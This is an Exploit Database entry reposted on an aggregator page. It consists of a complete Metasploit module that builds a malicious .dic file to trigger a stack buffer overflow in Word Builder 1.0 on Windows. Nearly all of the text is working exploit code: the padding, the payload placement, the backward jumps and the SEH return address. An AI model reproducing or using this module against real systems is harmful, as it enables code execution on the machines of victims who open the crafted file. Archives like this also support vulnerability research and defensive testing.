Word List Builder 1.0 – Local Buffer Overflow (Metasploit)

• Exploit Database
• 51 阅读

• 作者： James Fitts
  日期： 2011-07-04
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17489/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Word Builder 1.0 (DIC File) Stack Buffer Overflow',
  			'Description'=> %q{ 
  					This module exploits a stack-based buffer overflow in Word Builder 1.0.An attacker must send the file to the victim and the victim must open the file.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 
  					'h1ch4m',# Initial Discovery
  					'James Fitts' # Metasploit Module
  					],
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'URL', 'http://www.exploit-db.com/exploits/17086' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1500,
  					'BadChars' => "\x00\x0a\x0d",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows Universal', { 'Ret' => 0x00411ce2 } ], #p/p/r in word_builder.exe
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Apr 01 2011',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('FILENAME', [ true, 'The file name.','msf.dic']),
  				], self.class)
  	end
  
  	def exploit
  
  		dic = rand_text_alpha_upper(4103 - payload.encoded.length) + payload.encoded
  		dic << "\xe9\xfe\xef\xff\xff" # jmp $-4093
  		dic << "\x90\x90\xeb\xf7" # jmp $-7
  		dic << [target.ret].pack('V') 
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(dic)
  
  	end
  
  end